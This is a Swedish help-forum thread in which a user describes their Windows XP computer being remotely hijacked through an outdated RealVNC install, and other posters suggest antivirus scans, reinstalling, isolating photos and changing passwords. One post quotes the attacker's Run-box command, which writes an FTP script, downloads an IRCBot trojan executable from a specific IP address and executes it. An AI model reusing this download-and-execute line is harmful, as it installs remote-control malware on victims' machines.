Hjälp, hackad via VNC!

[Myssion]

Helt plötsligt ploppar "Kör" upp av sig självt och vips så har det laddats ner en fil, oagain.exe, från http://www.w32-gen.us/ som ser ut att vara en cracking-sajt av något slag...

 

Verkar farligt...

[Sansrom]

Blä, inte bra.

 

Kör AdAware, Spybot och en viruskoll, så borde det fixas.

[tamtaram]

länk till google.com

 

Finns en del bra info i första länken

[Myssion]

Först vill jag säga tack för hjälpen!

 

 

Men nu händer det konstiga grejer här...

 

Den senaste veckan har datorn klöddat vid uppstart. Datorn startas som vanligt och man kommer till Windows (XP), men sedan händer det inget mer. I vanliga fall startas MSN upp av sig själv, men istället händer inget alls. Om man klickar på t.ex. MSN eller Firefox så kommer timglaset upp i några sekunder och man hör att datorn börjar jobba, men inget mer händer. Programmet startar inte, och finns inte heller med under "Program" i aktivitetshanteraren. Däremot kan man starta andra grejer som t.ex. Paint eller Den här Datorn etc (verkar som att bara webb-relaterade grejer påverkas).

 

Startar man om datorn några ggr så funkar det till slut. Men pga strulet så använde vi igår och idag Viloläge istället för att stänga av datorn.

 

Ikväll så har vi datorn igång för att vi båda har slösurfat lite, och när Frugan går förbi datorn så ser hon att något händer. Kör-fönstret ploppar upp precis som i min förstapost, men eftersom jag åtgärdade det hela enligt instruktionerna som fanns i tamtaram's länk så laddas aldrig filen ner och i firefix dyker en tab upp där det står att sidan (gen-32-skitet) inte kunde öppnas.

 

Ok, skönt, tänker jag, verkar som att det jag gjorde funkade för att förhindra att det här hände igen. Men då dyker helt plötsligt kommandotolken upp med massa text. Hinner inte se vad som står för det stängs ganska fort igen. Men snart därefter så ploppar "Kör" upp igen, men den här gången skrivs text in manuellt (när det har hänt innan så har det istället funnits en färdig textsträng i textfältet, varpå rutan stängs direkt igen). Jag klickar på cancel fort som fan och lyckas stänga "Kör". Eftersom det så tydligt syntes att texten skrevs in manuellt (sådär lite hackigt, om ni fattar vad jag menar) kommer genast att tänka på VNC, ser nere i högra hörnet att det är aktivt och försöker stänga ner det, dock så hinner det klickas på cancel innan jag hinner klicka på OK, försöker ett par tre gånger men jag hinner aldrig dit med muspekarjäveln innan fönstret stängs igen. Använder piltangent-vänster och OK istället och hinner då stänga ner skiten och avinstaller därefter VNC fort som fan.

 

Går tillbaka till den här tråden för att se om det står något nytt i länken som tamtaram hänvisade till, men när man kommer till den sidan så stängs automatiskt firefox ner.

 

Gör en manuell sökning på "oagain.exe" och hittar lite info om folk som har råkat ut för samma sak (hackad via VNC). Länk.

 

Hittar också ett "New.net Domains 7.22" bland "Lägg till/Ta bort program" som verkar suspekt.

 

 

Ok, nu har jag fått lite hjälp av Frugans bror, men han skulle åka iväg och hämta sin flickvän, så mer hjälp är välkommen.

[Svinto]

Blä, inte bra.

 

Kör AdAware, Spybot och en viruskoll, så borde det fixas.

Gjort detta ännu? Det är alfa och omega när man börjar ana ugglor.

[Myssion]

Blev rekommenderad att följa nasdaq's råd i tråden jag länkade till i förra posten.

 

Har dock inget NetMeter, däremot det här New.net Domains som jag nämnde.

 

Googlar efter hijackthis, men så fort sökresultaten presenteras så stängs firefox ner.

 

Internet är också jäkligt segt just nu, tar rättså lång tid att ladda sidor.

[Myssion]

Blä, inte bra.

 

Kör AdAware, Spybot och en viruskoll, så borde det fixas.

Gjort detta ännu? Det är alfa och omega när man börjar ana ugglor.

 

Håller på nu.

[BOGiS]

Ominstallation !

[piggeh]

Känns som att det är ominstallation som gäller ja.

 

Vilken VNC-version kör du?

[Myssion]

Vilken VNC-version kör du?

 

Vet ej eftersom jag avinstallerade (men installerade det i maj ngn gång). Ska visst finnas ett fint litet säkerhetshål där iaf.

[piggeh]

RealVNC 4.1.1 hade ett fint hål i sig ja, det pluggades igen i maj 2006.

Funderar på om någon hittat sig igenom 4.1.2. Men hittar inget om det nånstans.

[Myssion]

RealVNC 4.1.1 hade ett fint hål i sig ja, det pluggades igen i maj 2006.

Funderar på om någon hittat sig igenom 4.1.2. Men hittar inget om det nånstans.

 

I found the answer today. You need the new version of VNC. Loads of discussion going on here: http://www.unreal.ie/forum&c=showthrea...p;ThreadID=2636

 

For a more technical discussion, go here

http://isc.sans.org/diary.php?storyid=1331

 

I wish we could cut off the hands of people who take advantage of these exploits.

 

Står kanske något där, själv kan jag inte läsa det, firefox stängs ner direkt...

 

 

Ok, ominstallation, vill ju gärna ha kvar bilderna från vår digitalkamera, övrigt skrafs är oväsentligt.

[SaInT]

Alla med gamla VNC ska byta fort som attan. Man kan utan större problem gå runt lösenordsskyddet på äldre versioner. Dessutom kan man söka på IP-ranges med gamla VNC-versioner. För mer info finns det en gigantisk tråd på flashback.

[Myssion]

Gah, jag kommer ju inte åt en enda sida (utom den jag länkade till ovan) där det går att läsa om skiten. Firefox stängs ner direkt...

[Myssion]

Blä, inte bra.

 

Kör AdAware, Spybot och en viruskoll, så borde det fixas.

Gjort detta ännu? Det är alfa och omega när man börjar ana ugglor.

 

Håller på nu.

 

AdAware hittar inget särskilt. Spybot, Anti-Vir och Norton går inte ens att starta.

[Myssion]

Ok, ominstallation, vill ju gärna ha kvar bilderna från vår digitalkamera, övrigt skrafs är oväsentligt.

 

Kan man föra över de bilderna till en ny partition på hårddisken eller till någon annans server utan att riskera att något skräp följer med?

[tamtaram]

Om du kan bränna en DVD är det det allra bästa. Om det inte går kan du skapa en ny partition och kopiera över fotona och sedan formatera om OS-partitionen pch installera operativet.

 

Skulle sen rekommendera att bränna över på en DVD och formatera om den nya partitionen för säkerhets skull. Försök sen hålla applikationer och data som foton etc åtskilda så blir det mindre problem nästa gång sånt här skit händer.

 

Det går ju att skapa säkerhetspunkter också men det är jag själv skeptisk till. man brukar få formatera om till slut ändå.

[BOGiS]

Ok, ominstallation, vill ju gärna ha kvar bilderna från vår digitalkamera, övrigt skrafs är oväsentligt.

 

Kan man föra över de bilderna till en ny partition på hårddisken eller till någon annans server utan att riskera att något skräp följer med?

 

• Lägg det på en andra disk eller partitionera den du har på två – spara alla dokument, foton etc på den andra disken/partitonen.
   
  
• Lägg det på en dvd / cd

 

 

Ett tips, när du har ominstallerat allt, gör en backup av C:. Varje gång datorn fuckar sig riktigt illa så kör du backupen, då slipper du sitta i timmar och installera windows och alla övriga program. Detta kräver dock att du håller windows och fotona på separata partitioner/diskar - annars får du sitta och bränna allt viktigt innan varje gång - tråkigt och jobbigt.

[heltok]

tips är att dra tp-kabeln så fort ni kan om ni märker att ni blir hackade.

 

hittar ni inte tp-kabel, släng er på resetknappen. dra sedan kabeln.

[Myssion]

Tack för hjälpen, ska pilla med det.

 

Här är förresten textsträngen som började knattras in i "Kör":

 

cmd /c echo OPEN 81.231.173.176 21200>x&echo GET 84785_redworld2.exe>>x&echo QUIT>>x&FTP -n -s:x&84785_redworld2.exe&del x&exit

[frekje]

Det som händer är att någon öppnar ett terminalfönster och laddar ner en trojan som heter "Win32.IRCBot.wo". Den trojanen kan fjärrstyra din dator. Ett klassiskt sätt att sprida den är via MSN. Exempel på vad trojanen kan utföra: stänga av virusskydd, spela in tangentbordsnedslag, scanna nätverket, sno information, ladda ner från nätet osv osv. Nasty shit mao.

 

Du kan prova att ladda ner en version av MWAV toolkit som enl. uppgift ska kunna hantera trojanen.

ftp://ftp.microworldsystems.com/download/tools/mwav.exe

 

Läs mer här:

http://www.mwti.net/virus_info/virusalertd.asp?vid=890

http://sophos.com/security/analyses/w32vanebotm.html

 

De flesta antivirus-programmet uppdaterade sina skydd mot elakingen den 19 september

[Cyntax]

Tydligen har Myssion flera partitioner. När jag haft probs med virus, slö dator, hijacker, adaware etc, har jag bara installerat om OS på en annan partition och börjat om. Då är det ingen panik att kopiera sina viktiga filer (bilder, dokument osv).

 

Kan du köra datorn i felsäkert läge?

 

(Nu är jag säkert sen med mina tips.)

[tetris]

Då det finns en möjlighet att personen som hackat din dator även kommit över dina lösenord, bör du med omedelbar verkan frysa dina konton alt byta lösenord från en säker dator.

 

Sen kan du ju alltid pröva genom felsäkert läge starta dina antivirusprogram adaware etc.

[tetris]

Då det finns en möjlighet att personen som hackat din dator även kommit över dina lösenord genom "keylogger program", bör du med omedelbar verkan frysa dina konton alt byta lösenord från en säker dator.

 

Sen kan du ju alltid pröva genom felsäkert läge starta dina antivirusprogram adaware etc.

[Myssion]

Startade om datorn i felsäkert läge, installerade telias brandvägg/antivirusprogram och har kört en massa andra program (hittade den här guiden).

 

Hittade bl.a. Win32.IRCBot.wo som rensades ut. Har en massa scan-loggar som jag postade på majorgeeks forum för att försäkra mig om att datorn är helt ren, men får inget svar där. Någon här som är väl bevandrad inom området som vill ta sig en titt? Har ett par filer som Telias program (F-Secure) inte kan scanna, och Dragonage.exe ligger kvar (ikryssad, men stoppad) under Tjänster i Systemkonfiguration, vilket bekymrar mig lite. Kan man känna sig trygg efter att ha kört en miljon olika virus-scanners, eller bör jag installera om hela skiten? Slipper helst det senare, åtminstone tills vidare. Men vill ju inte ha några keyloggers.